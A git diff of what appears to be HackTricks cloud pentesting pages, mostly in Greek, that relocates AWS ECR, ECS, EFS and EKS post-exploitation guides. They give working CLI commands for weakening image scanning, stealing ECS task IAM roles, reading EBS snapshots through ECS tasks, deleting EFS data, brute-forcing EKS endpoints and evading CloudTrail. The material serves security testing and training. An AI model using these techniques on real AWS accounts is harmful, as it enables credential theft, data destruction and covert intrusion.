`PutAccountSetting` API call. + +Βήματα +```bash +REGION=us-east-1 + +# 1) Read current value so you can restore it later +aws ecr get-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION || true + +# 2) Downgrade BASIC scan engine registry‑wide to CLAIR +aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value CLAIR + +# 3) Verify the setting +aws ecr get-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION + +# 4) (Optional stealth) switch registry scanning to BASIC with no rules (manual‑only scans) +aws ecr put-registry-scanning-configuration --region $REGION --scan-type BASIC --rules '[]' || true + +# 5) Restore to AWS_NATIVE when finished to avoid side effects +aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value AWS_NATIVE +``` + diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md deleted file mode 100644 index d50819a67..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md +++ /dev/null @@ -1,57 +0,0 @@ -# AWS - ECS Post Exploitation - -{{#include ../../../banners/hacktricks-training.md}} - -## ECS - -Για περισσότερες πληροφορίες ελέγξτε: - -{{#ref}} -../aws-services/aws-ecs-enum.md -{{#endref}} - -### Host IAM Roles - -Στο ECS, ένα **IAM role μπορεί να ανατεθεί στην εργασία** που εκτελείται μέσα στο κοντέινερ. **Εάν** η εργασία εκτελείται μέσα σε μια **EC2** παρουσία, η **EC2 παρουσία** θα έχει **ένα άλλο IAM** ρόλο συσχετισμένο με αυτήν.\ -Αυτό σημαίνει ότι αν καταφέρετε να **συμβιβάσετε** μια παρουσία ECS, μπορείτε δυνητικά να **αποκτήσετε τον IAM ρόλο που σχετίζεται με το ECR και με την EC2 παρουσία**. Για περισσότερες πληροφορίες σχετικά με το πώς να αποκτήσετε αυτά τα διαπιστευτήρια, ελέγξτε: - -{{#ref}} -https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html -{{#endref}} - -> [!CAUTION] -> Σημειώστε ότι αν η EC2 παρουσία επιβάλλει το IMDSv2, [**σύμφωνα με τα έγγραφα**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), η **απάντηση του PUT request** θα έχει **όριο hop 1**, καθιστώντας αδύνατη την πρόσβαση στα μεταδεδομένα EC2 από ένα κοντέινερ μέσα στην EC2 παρουσία. - -### Privesc to node to steal other containers creds & secrets - -Αλλά επιπλέον, η EC2 χρησιμοποιεί το docker για να εκτελεί τις εργασίες ECs, οπότε αν μπορείτε να διαφύγετε στον κόμβο ή **να αποκτήσετε πρόσβαση στο docker socket**, μπορείτε να **ελέγξετε** ποιες **άλλες κοντέινερ** εκτελούνται, και ακόμη και **να μπείτε μέσα τους** και **να κλέψετε τους IAM ρόλους** που είναι συσχετισμένοι. - -#### Making containers run in current host - -Επιπλέον, ο **ρόλος της EC2 παρουσίας** θα έχει συνήθως αρκετές **άδειες** για να **ενημερώσει την κατάσταση της παρουσίας κοντέινερ** των EC2 παρουσιών που χρησιμοποιούνται ως κόμβοι μέσα στο cluster. Ένας επιτιθέμενος θα μπορούσε να τροποποιήσει την **κατάσταση μιας παρουσίας σε DRAINING**, τότε το ECS θα **αφαιρέσει όλες τις εργασίες από αυτήν** και αυτές που εκτελούνται ως **REPLICA** θα εκτελούνται **σε μια διαφορετική παρουσία,** δυνητικά μέσα στην **παρουσία του επιτιθέμενου** ώστε να μπορεί να **κλέψει τους IAM ρόλους τους** και πιθανές ευαίσθητες πληροφορίες από μέσα στο κοντέινερ. -```bash -aws ecs update-container-instances-state \ ---cluster --status DRAINING --container-instances -``` -Η ίδια τεχνική μπορεί να γίνει με **την απεγγραφή της EC2 παρουσίας από το cluster**. Αυτό είναι δυνητικά λιγότερο διακριτικό αλλά θα **αναγκάσει τις εργασίες να εκτελούνται σε άλλες παρουσίες:** -```bash -aws ecs deregister-container-instance \ ---cluster --container-instance --force -``` -Μια τελική τεχνική για να αναγκάσετε την επανεκτέλεση των εργασιών είναι να υποδείξετε στο ECS ότι το **task ή το container σταμάτησε**. Υπάρχουν 3 πιθανά APIs για να το κάνετε αυτό: -```bash -# Needs: ecs:SubmitTaskStateChange -aws ecs submit-task-state-change --cluster \ ---status STOPPED --reason "anything" --containers [...] - -# Needs: ecs:SubmitContainerStateChange -aws ecs submit-container-state-change ... - -# Needs: ecs:SubmitAttachmentStateChanges -aws ecs submit-attachment-state-changes ... -``` -### Κλοπή ευαίσθητων πληροφοριών από κοντέινερ ECR - -Η EC2 instance θα έχει πιθανώς επίσης την άδεια `ecr:GetAuthorizationToken` επιτρέποντάς της να **κατεβάσει εικόνες** (μπορείτε να αναζητήσετε ευαίσθητες πληροφορίες σε αυτές). - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation/README.md new file mode 100644 index 000000000..760aeec10 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation/README.md @@ -0,0 +1,128 @@ +# AWS - ECS Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## ECS + +Για περισσότερες πληροφορίες δείτε: + +{{#ref}} +../../aws-services/aws-ecs-enum.md +{{#endref}} + +### Host IAM Roles + +Στο ECS μια **IAM role μπορεί να ανατεθεί στο task** που τρέχει μέσα στο container. **If** το task τρέχει μέσα σε ένα **EC2** instance, το **EC2 instance** θα έχει **άλλη IAM** role συνημμένη σε αυτό.\ +Αυτό σημαίνει ότι αν καταφέρετε να **compromise** ένα ECS instance μπορείτε ενδεχομένως να **αποκτήσετε την IAM role που σχετίζεται με το ECR και με το EC2 instance**. Για περισσότερες πληροφορίες σχετικά με το πώς να αποκτήσετε αυτά τα credentials δείτε: + +{{#ref}} +https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html +{{#endref}} + +> [!CAUTION] +> Σημειώστε ότι αν το EC2 instance επιβάλλει IMDSv2, [**according to the docs**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), η **απάντηση του PUT request** θα έχει **hop limit of 1**, κάνοντας αδύνατη την πρόσβαση στα EC2 metadata από ένα container μέσα στο EC2 instance. + +### Privesc to node to steal other containers creds & secrets + +Ακόμη περισσότερο, το EC2 χρησιμοποιεί docker για να τρέχει ECS tasks, οπότε αν μπορείτε να escape στο node ή **έχετε πρόσβαση στο docker socket**, μπορείτε να **ελέγξετε** ποια **other containers** τρέχουν, και ακόμα **να μπείτε μέσα σε αυτά** και **να κλέψετε τις IAM roles** που είναι επισυναπτόμενες. + +#### Making containers run in current host + +Επιπλέον, το **EC2 instance role** συνήθως θα έχει αρκετά **permissions** για να **update the container instance state** των EC2 instances που χρησιμοποιούνται ως nodes μέσα στο cluster. Ένας attacker θα μπορούσε να τροποποιήσει την **state ενός instance σε DRAINING**, τότε ECS θα **αφαιρέσει όλα τα tasks από αυτό** και αυτά που τρέχουν ως **REPLICA** θα **τρέξουν σε διαφορετικό instance,** πιθανώς μέσα στο **instance του attacker**, ώστε να μπορεί να **κλέψει τις IAM roles τους** και πιθανές ευαίσθητες πληροφορίες από μέσα στο container. +```bash +aws ecs update-container-instances-state \ +--cluster --status DRAINING --container-instances +``` +Η ίδια τεχνική μπορεί να γίνει με την **αποεγγραφή του EC2 instance από το cluster**. Αυτό ενδέχεται να είναι λιγότερο διακριτικό αλλά θα **αναγκάσει τα tasks να εκτελεστούν σε άλλες instances:** +```bash +aws ecs deregister-container-instance \ +--cluster --container-instance --force +``` +Μια τελική τεχνική για να αναγκάσετε την επανεκτέλεση των εργασιών είναι να υποδείξετε στο ECS ότι η **εργασία ή το container σταμάτησε**. Υπάρχουν 3 πιθανές APIs για να το κάνετε: +```bash +# Needs: ecs:SubmitTaskStateChange +aws ecs submit-task-state-change --cluster \ +--status STOPPED --reason "anything" --containers [...] + +# Needs: ecs:SubmitContainerStateChange +aws ecs submit-container-state-change ... + +# Needs: ecs:SubmitAttachmentStateChanges +aws ecs submit-attachment-state-changes ... +``` +### Κλέψε ευαίσθητες πληροφορίες από ECR containers + +Η EC2 instance πιθανότατα θα έχει επίσης την άδεια `ecr:GetAuthorizationToken` που της επιτρέπει να **κατεβάζει images** (μπορείς να ψάξεις για ευαίσθητες πληροφορίες μέσα τους). + +{{#include ../../../../banners/hacktricks-training.md}} + + + + + +### Mount an EBS snapshot directly in an ECS task (configuredAtLaunch + volumeConfigurations) + +Καταχράσου την εγγενή ECS EBS ενσωμάτωση (2024+) για να προσαρτήσεις τα περιεχόμενα ενός υπάρχοντος EBS snapshot απευθείας μέσα σε ένα νέο ECS task/service και να διαβάσεις τα δεδομένα από μέσα στο container. + +- Απαιτεί (ελάχιστο): +- ecs:RegisterTaskDefinition +- Ένα από: ecs:RunTask OR ecs:CreateService/ecs:UpdateService +- iam:PassRole σε: +- ECS infrastructure role που χρησιμοποιείται για volumes (policy: `service-role/AmazonECSInfrastructureRolePolicyForVolumes`) +- Task execution/Task roles που αναφέρονται στο task definition +- Εάν το snapshot είναι κρυπτογραφημένο με CMK: δικαιώματα KMS για το infra role (η AWS managed policy παραπάνω περιλαμβάνει τα απαιτούμενα KMS grants για AWS managed keys). + +- Impact: Read arbitrary disk contents from the snapshot (e.g., database files) inside the container and exfiltrate via network/logs. + +Steps (Fargate example): + +1) Create the ECS infrastructure role (if it doesn’t exist) and attach the managed policy: +```bash +aws iam create-role --role-name ecsInfrastructureRole \ +--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs.amazonaws.com"},"Action":"sts:AssumeRole"}]}' +aws iam attach-role-policy --role-name ecsInfrastructureRole \ +--policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSInfrastructureRolePolicyForVolumes +``` +2) Καταχωρήστε ένα task definition με ένα volume επισημασμένο ως `configuredAtLaunch` και προσαρτήστε το στο container. Παράδειγμα (εκτυπώνει το secret και μετά κοιμάται): +```json +{ +"family": "ht-ebs-read", +"networkMode": "awsvpc", +"requiresCompatibilities": ["FARGATE"], +"cpu": "256", +"memory": "512", +"executionRoleArn": "arn:aws:iam:::role/ecsTaskExecutionRole", +"containerDefinitions": [ +{"name":"reader","image":"public.ecr.aws/amazonlinux/amazonlinux:latest", +"entryPoint":["/bin/sh","-c"], +"command":["cat /loot/secret.txt || true; sleep 3600"], +"logConfiguration":{"logDriver":"awslogs","options":{"awslogs-region":"us-east-1","awslogs-group":"/ht/ecs/ebs","awslogs-stream-prefix":"reader"}}, +"mountPoints":[{"sourceVolume":"loot","containerPath":"/loot","readOnly":true}] +} +], +"volumes": [ {"name":"loot", "configuredAtLaunch": true} ] +} +``` +3) Δημιουργήστε ή ενημερώστε μια υπηρεσία περνώντας το EBS snapshot μέσω `volumeConfigurations.managedEBSVolume` (απαιτεί iam:PassRole στον infra role). Παράδειγμα: +```json +{ +"cluster": "ht-ecs-ebs", +"serviceName": "ht-ebs-svc", +"taskDefinition": "ht-ebs-read", +"desiredCount": 1, +"launchType": "FARGATE", +"networkConfiguration": {"awsvpcConfiguration":{"assignPublicIp":"ENABLED","subnets":["subnet-xxxxxxxx"],"securityGroups":["sg-xxxxxxxx"]}}, +"volumeConfigurations": [ +{"name":"loot","managedEBSVolume": {"roleArn":"arn:aws:iam:::role/ecsInfrastructureRole", "snapshotId":"snap-xxxxxxxx", "filesystemType":"ext4"}} +] +} +``` +4) Όταν ξεκινάει το task, το container μπορεί να διαβάσει τα περιεχόμενα του snapshot στη ρυθμισμένη διαδρομή mount (π.χ., `/loot`). Εξάγετε δεδομένα μέσω του network/logs του task. + +Καθαρισμός: +```bash +aws ecs update-service --cluster ht-ecs-ebs --service ht-ebs-svc --desired-count 0 +aws ecs delete-service --cluster ht-ecs-ebs --service ht-ebs-svc --force +aws ecs deregister-task-definition ht-ebs-read +``` + diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md deleted file mode 100644 index 2c977596a..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md +++ /dev/null @@ -1,46 +0,0 @@ -# AWS - EFS Post Exploitation - -{{#include ../../../banners/hacktricks-training.md}} - -## EFS - -Για περισσότερες πληροφορίες ελέγξτε: - -{{#ref}} -../aws-services/aws-efs-enum.md -{{#endref}} - -### `elasticfilesystem:DeleteMountTarget` - -Ένας επιτιθέμενος θα μπορούσε να διαγράψει έναν στόχο προσάρτησης, ενδεχομένως διαταράσσοντας την πρόσβαση στο σύστημα αρχείων EFS για εφαρμογές και χρήστες που βασίζονται σε αυτόν τον στόχο προσάρτησης. -```sql -aws efs delete-mount-target --mount-target-id -``` -**Πιθανές Επιπτώσεις**: Διακοπή πρόσβασης στο σύστημα αρχείων και πιθανή απώλεια δεδομένων για χρήστες ή εφαρμογές. - -### `elasticfilesystem:DeleteFileSystem` - -Ένας επιτιθέμενος θα μπορούσε να διαγράψει ολόκληρο το σύστημα αρχείων EFS, το οποίο θα μπορούσε να οδηγήσει σε απώλεια δεδομένων και να επηρεάσει τις εφαρμογές που βασίζονται στο σύστημα αρχείων. -```perl -aws efs delete-file-system --file-system-id -``` -**Πιθανές Επιπτώσεις**: Απώλεια δεδομένων και διακοπή υπηρεσίας για εφαρμογές που χρησιμοποιούν το διαγραμμένο σύστημα αρχείων. - -### `elasticfilesystem:UpdateFileSystem` - -Ένας επιτιθέμενος θα μπορούσε να ενημερώσει τις ιδιότητες του συστήματος αρχείων EFS, όπως τη λειτουργία απόδοσης, για να επηρεάσει την απόδοσή του ή να προκαλέσει εξάντληση πόρων. -```sql -aws efs update-file-system --file-system-id --provisioned-throughput-in-mibps -``` -**Πιθανές Επιπτώσεις**: Υποβάθμιση της απόδοσης του συστήματος αρχείων ή εξάντληση πόρων. - -### `elasticfilesystem:CreateAccessPoint` και `elasticfilesystem:DeleteAccessPoint` - -Ένας επιτιθέμενος θα μπορούσε να δημιουργήσει ή να διαγράψει σημεία πρόσβασης, αλλάζοντας τον έλεγχο πρόσβασης και ενδεχομένως παρέχοντας στον εαυτό του μη εξουσιοδοτημένη πρόσβαση στο σύστημα αρχείων. -```arduino -aws efs create-access-point --file-system-id --posix-user --root-directory -aws efs delete-access-point --access-point-id -``` -**Πιθανές Επιπτώσεις**: Μη εξουσιοδοτημένη πρόσβαση στο σύστημα αρχείων, έκθεση ή τροποποίηση δεδομένων. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation/README.md new file mode 100644 index 000000000..95a533da7 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation/README.md @@ -0,0 +1,46 @@ +# AWS - EFS Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## EFS + +Για περισσότερες πληροφορίες δείτε: + +{{#ref}} +../../aws-services/aws-efs-enum.md +{{#endref}} + +### `elasticfilesystem:DeleteMountTarget` + +Ένας επιτιθέμενος θα μπορούσε να διαγράψει ένα mount target, ενδεχομένως διαταράσσοντας την πρόσβαση στο σύστημα αρχείων EFS για τις εφαρμογές και τους χρήστες που βασίζονται σε αυτό το mount target. +```sql +aws efs delete-mount-target --mount-target-id +``` +**Πιθανός Αντίκτυπος**: Διακοπή της πρόσβασης στο σύστημα αρχείων και ενδεχόμενη απώλεια δεδομένων για χρήστες ή εφαρμογές. + +### `elasticfilesystem:DeleteFileSystem` + +Ένας επιτιθέμενος θα μπορούσε να διαγράψει ολόκληρο το EFS file system, κάτι που θα μπορούσε να οδηγήσει σε απώλεια δεδομένων και να επηρεάσει εφαρμογές που βασίζονται σε αυτό. +```perl +aws efs delete-file-system --file-system-id +``` +**Potential Impact**: Απώλεια δεδομένων και διακοπή υπηρεσιών για εφαρμογές που χρησιμοποιούν το διαγραμμένο σύστημα αρχείων. + +### `elasticfilesystem:UpdateFileSystem` + +Ένας επιτιθέμενος θα μπορούσε να ενημερώσει τις ιδιότητες του EFS file system, όπως το throughput mode, ώστε να επηρεάσει την απόδοσή του ή να προκαλέσει εξάντληση πόρων. +```sql +aws efs update-file-system --file-system-id --provisioned-throughput-in-mibps +``` +**Πιθανός Αντίκτυπος**: Υπόβαθμιση της απόδοσης του συστήματος αρχείων ή εξάντληση πόρων. + +### `elasticfilesystem:CreateAccessPoint` και `elasticfilesystem:DeleteAccessPoint` + +Ένας επιτιθέμενος θα μπορούσε να δημιουργήσει ή να διαγράψει σημεία πρόσβασης, τροποποιώντας τον έλεγχο πρόσβασης και ενδεχομένως παραχωρώντας στον εαυτό του μη εξουσιοδοτημένη πρόσβαση στο σύστημα αρχείων. +```arduino +aws efs create-access-point --file-system-id --posix-user --root-directory +aws efs delete-access-point --access-point-id +``` +**Πιθανές Επιπτώσεις**: Μη εξουσιοδοτημένη πρόσβαση στο σύστημα αρχείων, αποκάλυψη ή τροποποίηση δεδομένων. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md deleted file mode 100644 index fa653f982..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md +++ /dev/null @@ -1,143 +0,0 @@ -# AWS - EKS Post Exploitation - -{{#include ../../../banners/hacktricks-training.md}} - -## EKS - -Για περισσότερες πληροφορίες ελέγξτε - -{{#ref}} -../aws-services/aws-eks-enum.md -{{#endref}} - -### Εντοπισμός του cluster από την κονσόλα AWS - -Εάν έχετε την άδεια **`eks:AccessKubernetesApi`** μπορείτε να **δείτε αντικείμενα Kubernetes** μέσω της κονσόλας AWS EKS ([Μάθετε περισσότερα](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)). - -### Σύνδεση με το AWS Kubernetes Cluster - -- Εύκολος τρόπος: -```bash -# Generate kubeconfig -aws eks update-kubeconfig --name aws-eks-dev -``` -- Όχι τόσο εύκολος τρόπος: - -Αν μπορείτε να **πάρετε ένα token** με **`aws eks get-token --name `** αλλά δεν έχετε δικαιώματα για να πάρετε πληροφορίες για το cluster (describeCluster), μπορείτε να **ετοιμάσετε το δικό σας `~/.kube/config`**. Ωστόσο, έχοντας το token, χρειάζεστε ακόμα το **url endpoint για να συνδεθείτε** (αν καταφέρατε να πάρετε ένα JWT token από ένα pod διαβάστε [εδώ](aws-eks-post-exploitation.md#get-api-server-endpoint-from-a-jwt-token)) και το **όνομα του cluster**. - -Στην περίπτωσή μου, δεν βρήκα τις πληροφορίες στα CloudWatch logs, αλλά **τις βρήκα στα LaunchTemplates userData** και σε **EC2 μηχανές στο userData επίσης**. Μπορείτε να δείτε αυτές τις πληροφορίες στο **userData** εύκολα, για παράδειγμα στο επόμενο παράδειγμα (το όνομα του cluster ήταν cluster-name): -```bash -API_SERVER_URL=https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-east-1.eks.amazonaws.com - -/etc/eks/bootstrap.sh cluster-name --kubelet-extra-args '--node-labels=eks.amazonaws.com/sourceLaunchTemplateVersion=1,alpha.eksctl.io/cluster-name=cluster-name,alpha.eksctl.io/nodegroup-name=prd-ondemand-us-west-2b,role=worker,eks.amazonaws.com/nodegroup-image=ami-002539dd2c532d0a5,eks.amazonaws.com/capacityType=ON_DEMAND,eks.amazonaws.com/nodegroup=prd-ondemand-us-west-2b,type=ondemand,eks.amazonaws.com/sourceLaunchTemplateId=lt-0f0f0ba62bef782e5 --max-pods=58' --b64-cluster-ca $B64_CLUSTER_CA --apiserver-endpoint $API_SERVER_URL --dns-cluster-ip $K8S_CLUSTER_DNS_IP --use-max-pods false -``` -
- -kube config -```yaml -describe-cache-parametersapiVersion: v1 -clusters: -- cluster: -certificate-authority-data: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUMvakNDQWVhZ0F3SUJBZ0lCQURBTkJna3Foa2lHOXcwQkFRc0ZBREFWTVJNd0VRWURWUVFERXdwcmRXSmwKY201bGRHVnpNQjRYRFRJeU1USXlPREUyTWpjek1Wb1hEVE15TVRJeU5URTJNamN6TVZvd0ZURVRNQkVHQTFVRQpBeE1LYTNWaVpYSnVaWFJsY3pDQ0FTSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnRVBBRENDQVFvQ2dnRUJBTDlXCk9OS0ZqeXZoRUxDZGhMNnFwWkMwa1d0UURSRVF1UzVpRDcwK2pjbjFKWXZ4a3FsV1ZpbmtwOUt5N2x2ME5mUW8KYkNqREFLQWZmMEtlNlFUWVVvOC9jQXJ4K0RzWVlKV3dzcEZGbWlsY1lFWFZHMG5RV1VoMVQ3VWhOanc0MllMRQpkcVpzTGg4OTlzTXRLT1JtVE5sN1V6a05pTlUzSytueTZSRysvVzZmbFNYYnRiT2kwcXJSeFVpcDhMdWl4WGRVCnk4QTg3VjRjbllsMXo2MUt3NllIV3hhSm11eWI5enRtbCtBRHQ5RVhOUXhDMExrdWcxSDBqdTl1MDlkU09YYlkKMHJxY2lINjYvSTh0MjlPZ3JwNkY0dit5eUNJUjZFQURRaktHTFVEWUlVSkZ4WXA0Y1pGcVA1aVJteGJ5Nkh3UwpDSE52TWNJZFZRRUNQMlg5R2c4Q0F3RUFBYU5aTUZjd0RnWURWUjBQQVFIL0JBUURBZ0trTUE4R0ExVWRFd0VCCi93UUZNQU1CQWY4d0hRWURWUjBPQkJZRUZQVXFsekhWZmlDd0xqalhPRmJJUUc3L0VxZ1hNQlVHQTFVZEVRUU8KTUF5Q0NtdDFZbVZ5Ym1WMFpYTXdEUVlKS29aSWh2Y05BUUVMQlFBRGdnRUJBS1o4c0l4aXpsemx0aXRPcGcySgpYV0VUSThoeWxYNWx6cW1mV0dpZkdFVVduUDU3UEVtWW55eWJHbnZ5RlVDbnczTldMRTNrbEVMQVE4d0tLSG8rCnBZdXAzQlNYamdiWFovdWVJc2RhWlNucmVqNU1USlJ3SVFod250ZUtpU0J4MWFRVU01ZGdZc2c4SlpJY3I2WC8KRG5POGlHOGxmMXVxend1dUdHSHM2R1lNR0Mvd1V0czVvcm1GS291SmtSUWhBZElMVkNuaStYNCtmcHUzT21UNwprS3VmR0tyRVlKT09VL1c2YTB3OTRycU9iSS9Mem1GSWxJQnVNcXZWVDBwOGtlcTc1eklpdGNzaUJmYVVidng3Ci9sMGhvS1RqM0IrOGlwbktIWW4wNGZ1R2F2YVJRbEhWcldDVlZ4c3ZyYWpxOUdJNWJUUlJ6TnpTbzFlcTVZNisKRzVBPQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg== -server: https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-west-2.eks.amazonaws.com -name: arn:aws:eks:us-east-1::cluster/ -contexts: -- context: -cluster: arn:aws:eks:us-east-1::cluster/ -user: arn:aws:eks:us-east-1::cluster/ -name: arn:aws:eks:us-east-1::cluster/ -current-context: arn:aws:eks:us-east-1::cluster/ -kind: Config -preferences: {} -users: -- name: arn:aws:eks:us-east-1::cluster/ -user: -exec: -apiVersion: client.authentication.k8s.io/v1beta1 -args: -- --region -- us-west-2 -- --profile -- -- eks -- get-token -- --cluster-name -- -command: aws -env: null -interactiveMode: IfAvailable -provideClusterInfo: false -``` -
- -### Από το AWS στο Kubernetes - -Ο **δημιουργός** του **EKS cluster** θα είναι **ΠΑΝΤΑ** σε θέση να εισέλθει στο μέρος του kubernetes cluster της ομάδας **`system:masters`** (k8s admin). Στη στιγμή που γράφεται αυτό, δεν υπάρχει **άμεσος τρόπος** να βρείτε **ποιος δημιούργησε** το cluster (μπορείτε να ελέγξετε το CloudTrail). Και δεν υπάρχει **τρόπος** να **αφαιρεθεί** αυτό το **προνόμιο**. - -Ο τρόπος για να παραχωρήσετε **πρόσβαση σε περισσότερους χρήστες ή ρόλους AWS IAM** είναι χρησιμοποιώντας το **configmap** **`aws-auth`**. - -> [!WARNING] -> Επομένως, οποιοσδήποτε έχει **δικαίωμα εγγραφής** πάνω στο config map **`aws-auth`** θα είναι σε θέση να **συμβιβάσει ολόκληρο το cluster**. - -Για περισσότερες πληροφορίες σχετικά με το πώς να **παραχωρήσετε επιπλέον προνόμια σε ρόλους & χρήστες IAM** στην **ίδια ή διαφορετική λογαριασμό** και πώς να **καταχραστείτε** αυτό για [**privesc ελέγξτε αυτή τη σελίδα**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#aws-eks-aws-auth-configmaps). - -Ελέγξτε επίσης[ **αυτή την καταπληκτική**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **ανάρτηση για να μάθετε πώς λειτουργεί η αυθεντικοποίηση IAM -> Kubernetes**. - -### Από το Kubernetes στο AWS - -Είναι δυνατόν να επιτραπεί μια **αυθεντικοποίηση OpenID για λογαριασμό υπηρεσίας kubernetes** ώστε να τους επιτραπεί να αναλαμβάνουν ρόλους στο AWS. Μάθετε πώς [**λειτουργεί αυτό σε αυτή τη σελίδα**](../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1). - -### Λάβετε το Api Server Endpoint από ένα JWT Token - -Αποκωδικοποιώντας το JWT token, αποκτούμε το cluster id & επίσης την περιοχή. ![image](https://github.com/HackTricks-wiki/hacktricks-cloud/assets/87022719/0e47204a-eea5-4fcb-b702-36dc184a39e9) Γνωρίζοντας ότι η τυπική μορφή για το EKS url είναι -```bash -https://...eks.amazonaws.com -``` -Δεν βρήκα καμία τεκμηρίωση που να εξηγεί τα κριτήρια για τους 'δύο χαρακτήρες' και τον 'αριθμό'. Αλλά κάνοντας μερικές δοκιμές εκ μέρους μου, βλέπω ότι επαναλαμβάνονται τα εξής: - -- gr7 -- yl4 - -Ούτως ή άλλως, είναι μόνο 3 χαρακτήρες, μπορούμε να τους σπάσουμε με brute force. Χρησιμοποιήστε το παρακάτω σενάριο για να δημιουργήσετε τη λίστα. -```python -from itertools import product -from string import ascii_lowercase - -letter_combinations = product('abcdefghijklmnopqrstuvwxyz', repeat = 2) -number_combinations = product('0123456789', repeat = 1) - -result = [ -f'{''.join(comb[0])}{comb[1][0]}' -for comb in product(letter_combinations, number_combinations) -] - -with open('out.txt', 'w') as f: -f.write('\n'.join(result)) -``` -Τότε με το wfuzz -```bash -wfuzz -Z -z file,out.txt --hw 0 https://.FUZZ..eks.amazonaws.com -``` -> [!WARNING] -> Θυμηθείτε να αντικαταστήσετε & . - -### Παράκαμψη CloudTrail - -Αν ένας επιτιθέμενος αποκτήσει διαπιστευτήρια ενός AWS με **δικαιώματα σε ένα EKS**. Αν ο επιτιθέμενος ρυθμίσει το δικό του **`kubeconfig`** (χωρίς να καλέσει **`update-kubeconfig`**) όπως εξηγήθηκε προηγουμένως, το **`get-token`** δεν δημιουργεί καταγραφές στο Cloudtrail επειδή δεν αλληλεπιδρά με το AWS API (απλώς δημιουργεί το token τοπικά). - -Έτσι, όταν ο επιτιθέμενος επικοινωνεί με το EKS cluster, **το cloudtrail δεν θα καταγράψει τίποτα σχετικό με τον χρήστη που έχει κλαπεί και την πρόσβαση σε αυτό**. - -Σημειώστε ότι το **EKS cluster μπορεί να έχει ενεργοποιημένες καταγραφές** που θα καταγράψουν αυτή την πρόσβαση (αν και, από προεπιλογή, είναι απενεργοποιημένες). - -### EKS Λύτρα; - -Από προεπιλογή, ο **χρήστης ή ο ρόλος που δημιούργησε** ένα cluster έχει **ΠΑΝΤΑ δικαιώματα διαχειριστή** πάνω στο cluster. Και ότι η μόνη "ασφαλής" πρόσβαση που θα έχει το AWS πάνω στο Kubernetes cluster. - -Έτσι, αν ένας **επιτιθέμενος παραβιάσει ένα cluster χρησιμοποιώντας fargate** και **αφαιρέσει όλους τους άλλους διαχειριστές** και **διαγράψει τον χρήστη/ρόλο AWS που δημιούργησε** το Cluster, ~~ο επιτιθέμενος θα μπορούσε να έχει **ζητήσει λύτρα για το cluster**~~**r**. - -> [!TIP] -> Σημειώστε ότι αν το cluster χρησιμοποιούσε **EC2 VMs**, θα μπορούσε να είναι δυνατό να αποκτήσετε δικαιώματα διαχειριστή από το **Node** και να ανακτήσετε το cluster. -> -> Στην πραγματικότητα, αν το cluster χρησιμοποιεί Fargate, θα μπορούσατε να μεταφέρετε EC2 nodes ή να μεταφέρετε τα πάντα σε EC2 στο cluster και να το ανακτήσετε αποκτώντας πρόσβαση στα tokens στο node. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation/README.md new file mode 100644 index 000000000..d32d0550f --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation/README.md @@ -0,0 +1,143 @@ +# AWS - EKS Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## EKS + +Για περισσότερες πληροφορίες δείτε + +{{#ref}} +../../aws-services/aws-eks-enum.md +{{#endref}} + +### Ανίχνευση του cluster από το AWS Console + +Εάν έχετε την άδεια **`eks:AccessKubernetesApi`** μπορείτε να **προβάλετε αντικείμενα Kubernetes** μέσω του AWS EKS console ([Learn more](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)). + +### 